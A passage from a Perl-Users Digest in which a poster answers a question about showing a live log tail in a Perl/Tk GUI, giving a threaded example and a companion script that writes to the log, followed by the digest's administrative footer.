	while ( <FILE> ) {
	  my $line=$_;
	  chomp($line);
	  print ("$line\n");
                     $textbox->insert('end', "$line\n");
	}
$mw->after(1000);  # will simulate a 1 second delay without blocking
$mw->update;        # force the event loop to update
	FILE->clearerr();
}


>Can I just do a fork and say "Here Mr. TK GUI, you run in a differant
>thread and do whatever you need to do.  I'll send you data if I want
>you to update something, else stop getting all up in my code like
>that".
>
>Basically I want a nice GUI interface with fancy buttons and stuff and
>then imbedded in the GUI a window that acts like a "stupid console".
>
>Does that make sense?
>
>Basically I want to do this:
>http://tailforwin32.sourceforge.net/
>
>But in Perl.
>
>TK/Win32, I don't care.  Just some type of nice GUI interface.

Here is a discussion of how someone on perlmonks did a win32
tail. See the code in the reply by  msemtd
http://perlmonks.org/?displaytype=print;node_id=297848;replies=1

#########################################################

I would probably use a thread myself. Here is a simple
thread example. It has a drawback, that it takes a few seconds
to re-pickup on the output if the pumper script stops and restarts.
####################################################
#!/usr/bin/perl
use warnings;
use strict;
use threads;
use threads::shared;

# must setup thread code before any Tk code is used
# to avoid Tk thread-safety problems

my @logdata : shared;
my $thread_die : shared;
@logdata = ();
$thread_die = 0;

my $thread = threads->new( \&work );
############################################

use Tk;

my $mw = MainWindow->new(-background => 'gray50');

my $tframe = $mw->Frame( -background => 'gray50',-borderwidth=>10 )
                  ->pack(-side =>'top' ,-fill=>'y');
my $bframe = $mw->Frame( -background => 'gray50',-borderwidth=>10 )
                  ->pack(-side =>'bottom',-fill =>'both' );


my $text = $tframe->Scrolled("Text",
                   -scrollbars => 'ose',
                   -background => 'black',
                   -foreground => 'lightskyblue',
                   )->pack(-side =>'top', -anchor =>'n');

my $exit_button = $mw->Button(-text => 'Exit',
                    -command => sub{
                     $thread_die = 1; #kill thread
		     exit; 		     		    
		    })->pack();


my $timer = $mw->repeat(1000, sub{
                lock( @logdata );
                my @in = @logdata; #copy it 
		@logdata = ();  #clear out old log lines
	      # cond_broadcast( @logdata );
                $text->insert('end', "@in");
		$text->see('end');
              });


MainLoop;

##################################################################
sub work{

   $|++;
   open(FH,"< z.log") or die "$!\n";

 while(1){
    while(<FH>){
         push @logdata, $_;
	if( $thread_die == 1 ){return} #kill thread
     }
  }

}
#####################################################################
__END__


############ and the pumper script ############################

#!/usr/bin/perl
use warnings;
use strict;

$| = 1;

open (ZH, "> z.log") or die "$_\n";

# autoflush ZH  
my $ofh = select(ZH);
$|   = 1;
select($ofh);

while(1){
 print ZH time."\n";
 print '#'; #action indicator  
 select(undef,undef,undef, 1);
}
__END__ 




-- 
I'm not really a human, but I play one on earth.
http://zentara.net/japh.html


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc.  For subscription or unsubscription requests, send
#the single line:
#
#	subscribe perl-users
#or:
#	unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.  

NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice. 

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.

#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 9668
***************************************


home help back first fref pref prev next nref lref last post